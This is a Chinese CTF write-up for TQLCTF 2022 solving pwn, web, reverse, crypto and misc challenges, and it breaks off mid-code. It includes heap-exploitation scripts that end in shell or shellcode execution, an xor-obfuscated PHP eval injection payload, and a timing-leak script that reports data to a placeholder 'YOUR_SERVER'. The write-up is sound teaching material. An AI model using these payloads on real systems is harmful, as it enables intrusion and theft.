PKUCC TQLCTF 2022 Writeup
[pwn] unbelievable_write
题目大意:任意多次随意大小内存分配、填充、释放,中间插入一次任意堆地址内存释放,要求覆写一个给定的全局变量,PIE没开,glibc2.31
没开PIE,所以就是给定内存地址覆盖,已有的途径是很多的,不过唯一困难的地方在于几乎所有已有的途径是要求至少持有两块内存的,中间还可能插入其他内存块防止合并,而这里虽然任意多次内存分配,但是释放总是紧随其后,就没法直接应用现有的手段了
稍作变通后仍然可以实现large bin attack,方法如下:
- 分配并释放大小为0x250、0x300、0x350内存块,注意它们释放后进入了tcache,内部标记是“正在使用”,不会进行内存合并
- 填充之前的内存块时,内部伪造一个大小为0x450的内存块,并利用一次任意堆地址释放的操作将其释放,它会直接进入unsorted bin,不经过tcache
- 分配一次大小为0x450的内存块,顺便因为内存块跨过了0x300内存块的头部,通过内存块填充把之前释放的0x300内存块的大小改成0x440,这个0x450内存块释放后再次进入unsorted bin
- 分配一个大小为0x800的内存块把之前在unsorted bin的0x450内存块刷入large bin
- 分配一个大小为0x250的内存块,从tcache中直接取出,所以可以修改large bin中的大小为0x450的内存块头部信息,把bk_nextsize指针指向待覆写的全局变量前部
- 再分配大小为0x300的内存块,从tcache中之前取出,但是它的头部信息已经被覆盖了,所以释放时候会被当作大小为0x440的内存,进入unsorted bin
- 分配大小为0x900的内存块把刚才大小为0x440的内存块刷入unsorted bin,由于0x440 < 0x450,中间的信息都是我们自己伪造不会有内存块合并或拆分,大小为0x450的内存块头部信息我们完全控制,其bk_nextsize指向了待覆写的全局变量前部,large bin attack完成,指定全局变量被覆写
libc相关代码:
if ((unsigned long) (size)
< (unsigned long) chunksize_nomask (bck->bk))
{
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
pwn脚本:
# malloc(0x250) = 0x20c82c0
print(1)
print(0x250)
print('\x00' * 0x20 + # padding
'\x00' * 8 + # mchunk_prev_size
'\x61\x04' + '\x00' * 6 # mchunk_size
)
# malloc(0x300) = 0x20c8520
print(1)
print(0x300)
print('\x00' * 0x220 + # padding
'\x00' * 8 + # mchunk_prev_size
'\x11' + '\x00' * 7 + # mchunk_size
'\x00' * 8 + # mchunk_prev_size
'\x11' + '\x00' * 7 # mchunk_size
)
# malloc(0x350) = 0x20c8830
print(1)
print(0x350)
print('\x00' * 0x130 + # padding
'\x00' * 8 + # mchunk_prev_size
'\x11' + '\x00' * 7 + # mchunk_size
'\x00' * 8 + # mchunk_prev_size
'\x11' + '\x00' * 7 # mchunk_size
)
# now free our fake chunk
print(2)
print(0x50)
# malloc(0x450) = 0x1d0a2f0 (our fake chunk)
print(1)
print(0x450)
print('\x00' * 0x220 + # padding
'\x00' * 8 + # mchunk_prev_size
'\x51\x04' + '\x00' * 6 # mchunk_size
)
# flush the unsorted bin
print(1)
print(0x800)
print('')
# overwrite the fake chunk header
print(1)
print(0x250)
print('\x00' * 0x20 + # padding
'\x00' * 8 + # mchunk_prev_size
'\x61\x04' + '\x00' * 6 + # mchunk_size
'\x00' * 8 + # fd
'\x00' * 8 + # bk
'\x00' * 8 + # fd_nextsize
'\x60\x40\x40' + '\x00' * 5 # bk_nextsize
)
# get 0x300 bytes but free 0x450 bytes
print(1)
print(0x300)
print('')
# flush the unsorted bin again
print(1)
print(0x900)
print('')
# finally get the flag
print(3)
[pwn] ezvm
题目大意:用unicorn-engine仿真执行一段x86_64汇编代码,实现了四个syscall hook分别是read、write、open、close,实现系统调用的时候有一处字符串拷贝单字节溢出,seccomp屏蔽了execve系统调用,目标虚拟机逃逸任意代码执行
这个题目感觉不太良心
- 二进制strip过,没有源代码,需要手动逆向,还有一些比较讨厌的函数指针,初看不知道在干什么,当然代码规模还可以接受
- 故意屏蔽了execve系统调用,最开始没有注意直接system("/bin/sh")发现就是不行,但是程序没有出错,后来才发现写了seccomp,而fork出来的程序也是继承的
- 没有告诉flag的位置,但是flag的文件名就是flag,虽然getdents64看一眼也不是不行,但是既然名字瞎猜都能都能猜到,不如在题目里说一句
- 考察点与unbelievable_write存在类似或重复
文件名strcpy的时候单字节溢出,可以把后面buf地址的低位置零,而buf的大小在open系统调用中可以控制,这样连续分配多个小buf,再分配一个大buf,用单字节溢出把大buf的低位置零,它就包含了之前小buf的头部在里面;进一步用read系统调用可以泄漏libc地址(释放块的fd/bk往往指向main_arena附近),write系统调用可以覆盖头部信息
因为这buf在open时malloc,在close时free,所以这道题相比unbelievable_write更加自由;通过修改tcache_entry的next指针,可以做到任意内存地址分配,比如分配到__free_hook后直接可以写入system,不过因为题目限制这并没有什么用
看了下unicorn-engine支持JIT,所以找一下内存映射发现有rwx的内存区域,而且这段内存区域和libc的偏移是固定的,重复上述步骤可以向其中写入任意代码,再用__free_hook跳转过去执行即可
注:下面pwn程序写得更复杂一些,实际上做到了任意长度任意代码执行,因为发现了有一段rw内存映射区域(大概率是仿真代码内存区域)包含了所有输入代码,所以试图直接把这段代码拷贝进入rwx内存区域;但是前者的内存映射位置不知道为什么不是固定的,所以这里使用了heap地址间接引用找到(我也不知道我引用的heap地址是什么,用find找到的,发现每次启动偏移固定就直接使用了)
pwn程序:
.section ".text", "ax"
.code64
_start:
movq $2, %rax
leaq str_a(%rip), %rdi
movq $0x90, %rsi
syscall # open(str_a, 0x90) = 3
movq $2, %rax
leaq str_b(%rip), %rdi
movq $0x90, %rsi
syscall # open(str_b, 0x90) = 4
movq $2, %rax
leaq str_c(%rip), %rdi
movq $0x90, %rsi
syscall # open(str_c, 0x90) = 5
movq $2, %rax
leaq str24_a(%rip), %rdi
movq $0x100, %rsi
syscall # open(str24_a, 0x100) = 6
xorq %rax, %rax
movq $6, %rdi
leaq buf_1(%rip), %rsi
movq $0x100, %rdx
syscall # read(6, buf_1, 0x100)
movq $3, %rax
movq $4, %rdi
syscall # close(4)
movq $3, %rax
movq $5, %rdi
syscall # close(5)
xorq %rax, %rax
movq $6, %rdi
leaq buf_2(%rip), %rsi
movq $0x100, %rdx
syscall # read(6, buf_2, 0x100)
movq buf_1 + 0x40(%rip), %rax # <main_arena+1632>
addq $-0xc0b1e0, %rax # rwx memory
movq %rax, buf_2 + 0x40(%rip) # tcache_entry::next
movq $1, %rax
movq $6, %rdi
leaq buf_2(%rip), %rsi
movq $0x100, %rdx
syscall # write(6, buf_2, 0x100)
movq $2, %rax
leaq str_b(%rip), %rdi
movq $0x90, %rsi
syscall # open(str_b, 0x90) = 4
movq $2, %rax
leaq str_c(%rip), %rdi
movq $0x90, %rsi
syscall # open(str_c, 0x90) = 5
movq buf_1 + 0x40(%rip), %rax # <main_arena+1632>
addq $-0xc0b0e0, %rax # rwx memory
movq %rax, addr_dest(%rip)
movq buf_1 + 0x50(%rip), %rax
addq $-0x239e8, %rax
movq %rax, addr_src_p(%rip)
movq $1, %rax
movq $5, %rdi
leaq _bootstrap(%rip), %rsi
movq $0x90, %rdx
syscall # write(5, _bootstrap, 0x100)
movq $2, %rax
leaq str_d(%rip), %rdi
movq $0x80, %rsi
syscall # open(str_d, 0x80) = 7
movq $2, %rax
leaq str_e(%rip), %rdi
movq $0x80, %rsi
syscall # open(str_e, 0x80) = 8
movq $2, %rax
leaq str24_d(%rip), %rdi
movq $0x110, %rsi
syscall # open(str24_d, 0x110) = 9
movq $3, %rax
movq $7, %rdi
syscall # close(7)
movq $3, %rax
movq $8, %rdi
syscall # close(8)
xorq %rax, %rax
movq $9, %rdi
leaq buf_2(%rip), %rsi
movq $0x110, %rdx
syscall # read(9, buf_2, 0x110)
movq buf_1 + 0x40(%rip), %rax # <main_arena+1632>
addq $0x2948, %rax # <__free_hook>
movq %rax, buf_2 + 0x60(%rip) # tcache_entry::next
movq $1, %rax
movq $9, %rdi
leaq buf_2(%rip), %rsi
movq $0x110, %rdx
syscall # write(9, buf_2, 0x110)
movq $2, %rax
leaq str_d(%rip), %rdi
movq $0x80, %rsi
syscall # open(str_d, 0x80) = 7
movq $2, %rax
leaq str_e(%rip), %rdi
movq $0x80, %rsi
syscall # open(str_e, 0x80) = 8
movq buf_1 + 0x40(%rip), %rax # <main_arena+1632>
addq $-0xc0b1e0, %rax # rwx memory
movq %rax, buf_2(%rip)
movq $1, %rax
movq $8, %rdi
leaq buf_2(%rip), %rsi
movq %rdi, %rdx
syscall # write(8, buf_2, 8)
movq $3, %rax
movq $7, %rdi
syscall # close(7)
str24_a: .ascii "aaaaaaaaaaaaaaaaaaaaaaa"
str_a: .string "a"
str_b: .string "b"
str_c: .string "c"
str24_d: .ascii "ddddddddddddddddddddddd"
str_d: .string "d"
str_e: .string "e"
buf_1: .skip 0x110
buf_2: .skip 0x110
_bootstrap:
movq addr_src_p(%rip), %rsi
movq (%rsi), %rsi
movq addr_dest(%rip), %rdi
movq $0x5000, %rcx
rep
movsb
movq addr_dest(%rip), %rax
addq $(main - _start), %rax
jmp *%rax
addr_src_p: .quad 0x0
addr_dest: .quad 0x0
main:
movq $257, %rax
movq $-100, %rdi
leaq dot(%rip), %rsi
movq $0x90800, %rdx
syscall # fd = openat(AT_FDCWD, ".", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY)
movq %rax, %rdi
movq $217, %rax
leaq dents(%rip), %rsi
movq $32768, %rdx
syscall # getdents64(fd, dents, 32768)
movq $1, %rax
movq %rax, %rdi
leaq dents(%rip), %rsi
movq $32768, %rdx
syscall # write(1, dents, 32768)
movq $2, %rax
leaq flag_name(%rip), %rdi
xorq %rsi, %rsi
syscall # fd = open("flag", O_RDONLY)
movq %rax, %rdi
xorq %rax, %rax
leaq flag_content(%rip), %rsi
movq $32768, %rdx
syscall # read(fd, flag_content, 32768)
movq $1, %rax
movq %rax, %rdi
leaq flag_content(%rip), %rsi
movq $32768, %rdx
syscall # write(1, flag_contents, 32768)
dot: .string "."
flag_name: .string "flag"
dents:
flag_content:
[pwn] nemu
题目大意:又是一个x86模拟器,给出了全部源代码,该模拟器的调试部分进行内存写入时未检查被偏移后的内存地址是否合法,目标反弹shell,没开PIE,glibc2.23
虽然内存地址偏移后没有做任何检查,但因为这里偏移量是32位的,所以实际上不是“任意位置”内存写入,只能写入全局变量的后半部分和堆
扫了一遍全局变量的后半部分都有啥,发现东西少得可怜,而且没有直接的函数指针,最开始以为是读取用户输入的linebuf,它可以泄漏堆地址,然后修改堆上数据,再次类似了前两道pwn题目;不过后来没搞出来,因为发现这道题的堆数据比较随机,特别是服务器上的堆结构和本机的堆结构完全不同,推测是因为libreadline.so.6没有下发的缘故(不确定,也可能是其他原因),最后放弃了这条思路
最后定位到一个用于记录日志的FILE指针log_fp,虽然默认是空的但是可以造一个假的,而且这里glibc版本太老几乎没有任何安全检查,FILE结构体中的函数指针表vtable可以随意设置,让它指向system即可
最后一个问题就是怎么获取system地址,全局变量区域没有可用信息,只能从堆里找办法,但是前面提到了堆结构本地和服务器完全不同,最后我采取的方法是通过较长的输入,强制分配一块比较大的输入缓冲区,随后当它释放掉后读取glibc填充的bk/fd指针得到main_arena附近的地址,不过还是发现有些输入长度本机结构和服务器结果不一致,好在多试了几个输入长度后发现了一次结果一致,结束
pwn脚本:
import sys
import time
print('x 0x8000b60' + ' ' * 555)
sys.stdout.flush()
off = int(input(), 16) - 0x6a3b80
print('x 20 ' + hex(off - 0x10))
sys.stdout.flush()
hi = int(input(), 16)
lo = int(input(), 16)
addr = hi * (2 ** 32) + lo # <main_arena+760>
addr += -0x37fa08 # <__libc_system>
hi = addr // (2 ** 32)
lo = addr % (2 ** 32)
print('set 0x400088 0x8a3b80') # log_fp->_lock = &pmem[0x200000]
sys.stdout.flush()
time.sleep(1)
print('set 0x4000d8 0x9a3b80') # log_fp->vtable = &pmem[0x300000]
sys.stdout.flush()
time.sleep(1)
print('set 0x400000 0x6e69622f') # "/bin"
sys.stdout.flush()
time.sleep(1)
print('set 0x400004 0x0068732f') # "/sh\0"
sys.stdout.flush()
time.sleep(1)
print('set 0x300060 ' + hex(lo))
sys.stdout.flush()
time.sleep(1)
print('set 0x300064 ' + hex(hi))
sys.stdout.flush()
time.sleep(1)
print('set 0x8000018 0xaa3b80') # log_fp = &pmem[0x400000]
sys.stdout.flush()
time.sleep(1)
print('c')
sys.stdout.flush()
time.sleep(1)
print('ls')
sys.stdout.flush()
time.sleep(1)
print('cat flag')
sys.stdout.flush()
time.sleep(1)
[misc] Nanomaze
nc 手玩一下,发现这是一款 免费的二次元开放世界冒险游戏 大作。
写个随机游走的脚本,把地图打印出来,可以注意到地图是固定的,但初始横坐标随机,每次开局往右顶到头再往上顶到头这样就完全固定了。
继续手玩发现有可以单向通行的机关(click),然后继续玩玩直到通关就行。
# coding: utf-8
# In[1325]:
from __future__ import print_function, division
import numpy as np
import matplotlib as mpl
import matplotlib.pyplot as plt
from matplotlib.ticker import MultipleLocator
get_ipython().run_line_magic('matplotlib', 'inline')
import pdb
# In[1334]:
plt.rcParams["figure.figsize"] = (12, 12)
# In[1236]:
import random
from pwn import remote
from tqdm.notebook import tqdm
from IPython.display import clear_output
import pickle
# In[1247]:
def real_move(r, cmd, n_wait):
r.sendline(cmd.encode())
for _ in range(n_wait):
b = r.recvuntil(b'>').decode()
clk = '[click]' in b
if '{' in b:
print('!!', b)
pdb.set_trace()
#print(b)
if 'Cannot be moved' in b:
yield None, clk
elif 'Moved forward' in b:
yield float(b.partition('Moved forward ')[2].partition('\n')[0]), clk
else:
print(b)
1/0
# In[1223]:
REMOTE_ARGS = ['120.79.184.2', 49808]
# In[1219]:
#hist_points = []
#hist_clicks = []
with open('hist.pickle', 'rb') as f:
hist_points, hist_clicks = pickle.load(f)
# In[1358]:
class Bot:
def __init__(self):
self.points = []
self.clicks = []
self.x = 0
self.y = 0
self.r = remote(*REMOTE_ARGS)
self.r.recvuntil(b'>')
self._back_to_zero()
def _back_to_zero(self):
last_x = self.x
while True:
self.micromove('d'*25, False)
print('move back to zero', self.x, last_x)
if self.x-last_x<=2:
break
last_x = self.x
self.micromove('d'*10+'w'*15)
max_y = max([x[0] for x in self.points])
max_x = max([x[1] for x in self.points])
self.y -= max_y
self.x -= max_x
self.points = [[y-max_y, x-max_x] for y, x in self.points]
self.clicks = []
self.x = self.x%75
#hist_points.extend(self.points)
def _update(self, cmds, rets, write_hist):
for idx, cmd in enumerate(cmds):
delta, clk = rets[idx]
dy = {'w': 1, 's': -1, 'a': 0, 'd': 0}[cmd]
dx = {'w': 0, 's': 0, 'a': -1, 'd': 1}[cmd]
if delta is not None:
self.y += dy*delta
self.x += dx*delta
self.x = self.x%75
self.points.append([self.y, self.x])
if write_hist:
hist_points.append([self.y, self.x])
if clk:
self.clicks.append([self.y, self.x])
if write_hist:
hist_clicks.append([self.y, self.x])
def move(self, cmds, write_hist):
rets = list(real_move(self.r, '\n'.join(cmds), len(cmds)))
self._update(cmds, rets, write_hist)
def macromove(self, d, write_hist=True):
d = ''.join([c for c in d if c in 'wasd'])
self.move([random.choice('wsad'*2+d*4) for _ in range(50)], write_hist)
def micromove(self, d, write_hist=True):
self.move(d, write_hist)
def moveuntil(self, d, value):
print('> moveuntil', d, value)
if d=='w':
pred = lambda: self.y>value
elif d=='s':
pred = lambda: self.y<value
elif d=='a':
pred = lambda: self.x<value
elif d=='d':
pred = lambda: self.x>value
else:
1/0
for _ in range(200):
self.move(d, True)
if pred():
print(' done', self.y, self.x)
return
1/0
# In[1331]:
def draw(self):
plt.axis('equal')
plt.ylim(-75, 5)
plt.xlim(-5, 80)
plt.scatter([x[1]%75 for x in hist_points], [x[0] for x in hist_points], s=1, c='g')
plt.scatter([x[1]%75 for x in self.points], [x[0] for x in self.points], s=1, c='k')
plt.scatter([x[1]%75 for x in hist_clicks], [x[0] for x in hist_clicks], s=15, c='#ffff00')
plt.scatter([x[1]%75 for x in self.clicks], [x[0] for x in self.clicks], s=15, c='#ffff00')
plt.scatter([self.x%75], [self.y], s=10, c='r')
plt.yticks(np.arange(-70, 10, 5))
plt.xticks(np.arange(0, 80, 5))
plt.minorticks_on()
plt.grid('both')
plt.show()
# In[1367]:
def quickstart():
b.moveuntil('a', 3)
b.moveuntil('s', -5.1)
b.moveuntil('d', 18.1)
b.moveuntil('s', -8.1)
b.moveuntil('d', 21.1)
b.moveuntil('s', -17.1)
b.moveuntil('d', 26.1)
b.moveuntil('w', -8.9)
b.moveuntil('d', 31.1)
b.moveuntil('s', -12.1)
b.moveuntil('d', 35.1)
b.moveuntil('s', -17.1)
b.moveuntil('d', 44.1)
b.moveuntil('w', -6.1)
b.moveuntil('d', 57)
b.moveuntil('s', -24)
b.moveuntil('a', 54)
b.moveuntil('s', -27.5)
b.moveuntil('a', 45)
b.moveuntil('s', -33)
b.moveuntil('d', 49)
b.moveuntil('s', -40)
b.moveuntil('a', 36.9)
b.moveuntil('w', -36)
b.moveuntil('a', 26.9)
b.moveuntil('s', -38.1)
b.moveuntil('a', 13.9)
b.moveuntil('w', -32.9)
b.moveuntil('a', 8)
b.moveuntil('s', -38.1)
b.moveuntil('a', 1)
b.moveuntil('s', -43.1)
b.moveuntil('d', 30)
# In[1377]:
b = Bot()
quickstart()
print('DONE')
# In[1378]:
for _ in range(100):
b.r.sendline(b'd')
b.r.stream()
# In[1366]:
while True:
c = input('> ')
clear_output(wait=True)
if len(c)==0:
break
if c.startswith(' '):
b.micromove(c[1:])
else:
b.macromove(c)
draw(b)
# In[1379]:
draw(b)
# In[1218]:
with open('hist.pickle', 'wb') as f:
pickle.dump([hist_points, hist_clicks], f)
[web] A More Secure Pastebin
看提示说 timeless,找到 一篇论文,说可以利用响应先后顺序 leak 信息。
然后就搞个脚本打:
const SEARCH_URL = 'https://proxy:443/admin/searchword?word=';
//const SEARCH_URL = 'https://120.25.209.67:11001/user/searchword?word=';
async function search_req(term) {
let href = SEARCH_URL+encodeURIComponent(term);
await fetch(href, {
mode: "no-cors",
credentials: "include"
});
return term;
}
function sleep(ms) {
return new Promise((r)=>setTimeout(r, ms));
}
async function report(msg) {
console.log(msg);
await fetch('https://YOUR_SERVER/?'+encodeURIComponent(msg), {
mode: "no-cors",
});
}
async function timing(term) {
let cnt = 0;
for(let i=0; i<20; i++) {
let ps = [search_req(term), search_req('_404_404_404_pcmx')];
let val = await Promise.any(ps);
if(val===term) cnt++;
await Promise.all(ps);
await sleep(25);
}
return cnt;
}
const CHARSET = '0123456789abcdef}';
//const CHARSET = '012}';
async function run(pfx) {
await report(`started_${pfx}`);
let res = [];
let mi = 1000;
let michar = '}';
for(let idx=0; idx<CHARSET.length; idx++) {
let r = await timing('TF{'+pfx+CHARSET[idx]);
res.push(r);
if(r<mi) {
mi = r;
michar = CHARSET[idx];
}
}
await report(`res_${res.join('_')}`);
if(michar!=='}' && pfx.length<=8)
await run(pfx+michar);
else
await report(`done_${pfx}`)
}
run('');
注意到有个很坑的地方是 admin session 过期时间 6 分钟,超过这个时间就寄了,给爷坑了一下午。
可以每次试出两三个字符,然后多跑几次。跑出来的最后一个字符好像结果非常不显著,懒得再跑一次了,反正每 5 秒就能交一次 Flag,就从 0 试到 f,结果是 f,我直呼好家伙。
[web] Simple PHP
利用 get_pic.php 的文件包含漏洞读代码,代码路径是 /var/www/html 这个很好猜。然后仔细观察利用 template 生成文件的逻辑,不难弄出一个 PoC:
user = pgg)/*
website = */;phpinfo();/*
问题是 website 长度限制太短了。考虑到把 payload 塞到 __PUNC__ 里面,过滤可以通过 xor 来绕过。最终 payload 如下:
user = pgg)/*
punc = %27%60~%60%60%29%25%5E%40%40%5C_%23%60%23%5C%28%3A%27%5E%27%05%08%01%0C%01%01%01%07%05%08%04%01%01%01%01%01%01%27
↑ xor结果是 eval($_GET["a"]);
website = */;eval(__PUNC__);/*
?a=var_dump(scandir(%27/%27));
?a=var_dump(file_get_contents(%27/flag-xxxxxx%27));
[misc] Ranma½
很容易看出是Vigenère加密(特征:拉丁字母转成拉丁字母,保持大小写,不同的字母可能被加密成相同字母,字母频率基本相等)。把密文复制到https://www.dcode.fr/vigenere-cipher,然后点击Automatic Decryption,就能看到明文。
但是我比赛的当天dcode无法访问(服务器故障,非被墙;而且写writeup的时候可以访问)。因此用https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx自动寻找密钥。该网站自动找的密钥有一些字符错误,因此再用http://rumkin.com/tools/cipher/vigenere.php解密(在该网站修改密钥后解密结果会自动更新)。仅仅慢了12秒一血就被别的队抢走了。
[reverse] Tales of the Arrow
题意是给了136个布尔变量(对应flag括号里面的17个字符),然后产生15000个bits[i]=j的断言,其中每三个断言为一组,一组中有一个一定是正确的,其他两个有3/4的概率是错误的。这可以转化成一个3-SAT问题,共有5000个子句。但是这道题没有必要使用任何求解器。
注意到每个可见字符的最高位一定是0,因此有17个bit已知为0。我们在每个子句中删除所有不可能满足的变量,然后删除已经满足的子句。此时有些子句只有一个变量,因此这些变量值可以确定。然后重复上述处理到所有变量值都确定为止。
z=[int(i) for i in open(r"output.txt").readlines()[2:]]
z1=[set(z[3*i:3*i+3]) for i in range(5000)]
A=set(-(8*i+1) for i in range(17))
B=set(-i for i in A)
while len(z1)>0:
z1=[i-B for i in z1 if len(i&A)==0]
A=A|set(list(i)[0] for i in z1 if len(i)==1)
B=set(-i for i in A)
b="".join(["1" if i in A else "0" for i in range(1,137)])
print(''.join(chr(int(''.join(x), 2)) for x in zip(*[iter(b)]*8)))
[misc] The Ohio State University
容易找到 原谱面,下下来对比一下发现以下 4 个文件不同:
- BASIC.osu
- 提示
WAVPassword: MisoilePunch,说明 WAV 文件里有个带密码的脑洞隐写
- 提示
- boom.wav
- 支持设置密码的隐写工具一共就那么几个,拿 SilentEye 试了下发现信息是
_TO_O$u_i7s_
- 支持设置密码的隐写工具一共就那么几个,拿 SilentEye 试了下发现信息是
- 200813_HEXADIVER.jpg
- 元信息里面有个
pwd: VVelcome!!,说明又有个带密码的脑洞隐写 - 发现是 steghide,解出来
TQLCTF{VVElcOM3
- 元信息里面有个
- VIVID.osu
- 直接打开某音乐播放器进行一波 hit the circles,发现加了段劲爆尾杀,物量之大完全不是人能玩的,建议出题人录段 AP 手元,不然我不是很认可
- 4 个轨道的 note 按二进制(有 note 为 1,无 note 为 0)ASCII 从下往上读,解出来
5HoWtIme}
三段拼在一起得到最终 flag。
另外下回能不能少出点强行猜隐写工具的题?
[misc] Wordle
观察可知 level0 不限制尝试次数,故即使依次猜测 valid_words 也可通过。又知每次 challenge 由随机数指定,范围为 len(valid_words) * (2 ** 20) = 4288675840,即使改为 randrange 生成仍然有较大概率产出连续生成的 32bit 随机数。通过答案可知 id % len(valid_words),再和 round id 异或还原得 id // len(valid_words),一乘一加就得到原始随机数,玩两轮 level0 搞出来 623 个喂到 randcrack 中即可预测后续随机数。有少量出错可能,用简单策略重新尝试可进一步提高成功概率。
from pwn import *
from randcrack import RandCrack
import progressbar
with open("allowed_guesses.txt", "r") as f:
allowed_guesses = [x.strip() for x in f.readlines()]
with open("valid_words.txt", "r") as f:
valid_words = [x.strip() for x in f.readlines()]
def GetValue(s):
tab = {
"a": 8.167,
"b": 1.492,
"c": 2.782,
"d": 4.253,
"e": 12.702,
"f": 2.228,
"g": 2.015,
"h": 6.094,
"i": 6.966,
"j": 0.153,
"k": 0.772,
"l": 4.025,
"m": 2.406,
"n": 6.749,
"o": 7.507,
"p": 1.929,
"q": 0.095,
"r": 5.987,
"s": 6.327,
"t": 9.056,
"u": 2.758,
"v": 0.978,
"w": 2.36,
"x": 0.15,
"y": 1.974,
"z": 0.074,
}
value = 0
st = set(s)
for c in st:
v = math.log(100 * tab[c])
value += v
return value
original_valid_words = valid_words.copy()
valid_words.sort(key=lambda s: GetValue(s), reverse=True)
allowed_guesses.sort(key=lambda s: GetValue(s), reverse=True)
# 7: none(white)
# 3: yellow
# 2: green
NONE = 7
YELLOW = 3
GREEN = 2
class Result:
def __init__(self, word, msg):
self.stat = [0, 0, 0, 0, 0]
self.word = word
i = 0
for c in msg:
if c in "237":
self.stat[i] = int(c)
i += 1
if i == 5:
break
class WordleFilter:
def __init__(self):
self.tab = [[True for i in range(26)] for j in range(5)]
self.mustHave = set()
def Test(self, word):
for i in range(5):
c = ord(word[i]) - ord("a")
if not self.tab[i][c]:
return False
for c in self.mustHave:
if c not in word:
return False
return True
def Add(self, res: Result):
yellowed = []
greened = []
for i in range(5):
c = ord(res.word[i]) - ord("a")
if res.stat[i] == NONE:
if c in yellowed or c in greened:
continue
self.tab[0][c] = self.tab[1][c] = self.tab[2][c] = self.tab[3][
c
] = self.tab[4][c] = False
elif res.stat[i] == YELLOW:
yellowed.append(c)
self.tab[i][c] = False
self.mustHave.add(res.word[i])
elif res.stat[i] == GREEN:
greened.append(c)
for j in range(26):
self.tab[i][j] = False
self.tab[i][c] = True
else:
print("WARNING #0")
def FiltFromList(self, lyst):
answers = []
for word in lyst:
if self.Test(word):
answers.append(word)
return answers
def guess(first):
wordle_filter = WordleFilter()
asked = set()
if first != None:
asked.add(first[0])
wordle_filter.Add(Result(first[0], first[1]))
while True:
possibleAnswers = wordle_filter.FiltFromList(valid_words)
word = next(
filter(lambda x: wordle_filter.Test(x) and x not in asked, possibleAnswers)
)
r.sendlineafter(b"> ", bytes(word, "utf8"))
msg = str(r.recvline())
if "Wrong" not in msg:
break
asked.add(word)
wordle_filter.Add(Result(word, msg))
return word
r = remote("47.106.102.129", 46501)
ints = []
for _ in range(2):
r.sendlineafter(b"> ", b"0")
for _ in progressbar.progressbar(range(512)):
round = int(r.recvline().split(b" ")[2][1:-1], 16)
word = guess(None)
modulo = original_valid_words.index(word)
quotient = round ^ modulo
ints.append(quotient * len(valid_words) + modulo)
r.recvline()
r.recvline()
rc = RandCrack()
for i in range(624):
rc.submit(ints[i])
for i in range(624, len(ints)):
if rc.predict_randrange(0, len(valid_words) * (2**20)) != ints[i]:
print("Not equal on {}".format(i))
r.sendlineafter(b"> ", b"3")
for _ in progressbar.progressbar(range(512)):
id = rc.predict_randrange(len(valid_words) * (2**20))
answer = original_valid_words[id % len(valid_words)]
r.sendlineafter(b"> ", bytes(answer, "utf8"))
msg = str(r.recvline())
if "Correct" in msg:
continue
else:
guess([answer, msg])
print(r.recvline())
print(r.recvline())
[crypto] OTP
观察代码,实现了一个加密解密的核心逻辑,需要本地对加密的 flag 进行解密。这个 rebuild 看着就没用。 解密逻辑里头有两个限制:一个是必须是可见字符,一个是解密信息中,长度、两个 token 最多只能有一个条件和 flag 的吻合。注意到是先判第一个再判第二个。同时对于第一个限制,会返回最先在哪个位置出现非法字符。
整个加密流程分为三部分:
- 以 secret1+token1 为种子生成比特串 r,将原始信息异或上 r。
- 仍用上次的随机数状态,在每个字节中,内部比特进行 shuffle 打乱。同时将 token1 拼接到串末尾。
- 以 secret2+token2 为种子,做以字节为单位的 shuffle 打乱。将 token2 拼接到末尾。
注意到我们并不能直接获得任意关于 secret 的信息。因此我们必须将这整体视为一个 random oracle。即若我们要获知关于这两个随机数生成器的任意信息,必须直接以 token1 或者 token2 为参数进行询问。这也说明如果我们想直接获得明文,必须要构造一个长度与 flag 不同的串。
考虑分步解决问题:先考虑对于任意给定密文串,如何撤回最后一步。
对于任意明文加密得到的串,其不受 flag 条件限制的影响。而明文中某个比特翻转,密文中也一定有一个对应比特翻转。利用这个性质,对密文逐比特做差分翻转即可得到明文对应比特位(如果翻转后明文不合法或者翻转的比特过多,则说明翻转到了 token1 所在的位置,而不是明文),则可以撤回最后一步(但不能完全确定 token1)和倒数第二步。有一个小技巧是可以使用 ascii 为 97 的字符,这可以保证翻转除了高位以外的任意一位出来的结果都是合法的,即任意翻转都能得到对应的位。
对于 flag 加密得到的串,如果我们翻转了明文某个字符的最高位,则会触发第一个限制而不是第二个。同时利用返回的位置,可以知道对应的原始位置。再结合一些额外的条件也可以筛选出 token1 所在的位置。这就可以撤回第二步了。
之后再考虑如何撤回 flag 的前两步。如果我们能获得 secret1+token1 构造的随机数生成器的原始状态,则也可以还原前两步。注意到我们可能能获取一个该生成器足够长的 randombits,结合源代码分析,可知我们可以利用这个信息来还原前两步(虽然细节有一点点多)。而如果明文的比特长度为 n,则我们大约需要 6n 个字节的 randombits。
借助之前的撤回最后一步的方法,我们可以做到 token1 的任意替换。除了不能确定 token1 中 4 个字节的具体顺序。
具体地,先构造一个 6n 字节的输入,得到输出结果后,使用上述方法得到第二次 shuffle 的顺序。修改该输出的 token1 为 flag 的 token1(要先枚举全排列),之后再重做第三步。将结果输入到解密函数中,由于 token1 的替换,明文所有位置都被改变了,也会出现非法字符。但由于我们已经有了原始的字符 shuffle 的对应关系,我们根据非法字符出现的位置,将这个位置的字符替换成一个随机数,即可消去这个随机字符。简单逐字节扫描一遍后就可以得到合法输出的明文串了。之后进行逐比特扫描,进行差分翻转,将明文构造成全 97 同时可以获得比特级的对应关系。则我们可以撤回以 flag 的 token1 为随机数参数的密文的后两步了。而我们已经知道明文为全 97,因此可以得到第一步异或所生成的比特串了。我们再利用这个比特串,即可还原加密 flag1 时的第一步和第二步。验证此时得到的明文是否合法即可。 此处有一个小优化:我们只需要解析该串长的一小部分,就可以得到明文的前面一小部分。我们可以在这时就判断明文是否合法,进而决定中断并继续下一个排列还是继续。这可以大幅减少时间,不过还是内网开机子跑得快,因此该优化并没有写完。
from multiprocessing.dummy import Process
from operator import xor
import os
import random
import secrets
import string
from hashlib import sha256
import itertools
from secret import *
import bitarray
from bitarray.util import ba2hex, hex2ba, ba2base, base2ba
from pwn import *
# ========================================================================
class InvalidChar(Exception):
pass
class DangerousToken(Exception):
pass
valid_char = [ord(x) for x in string.digits +
string.ascii_letters + string.punctuation]
def check_valid(s: bytes):
r = list(map(lambda x: x in valid_char, s))
if False in r:
raise InvalidChar(r.index(False))
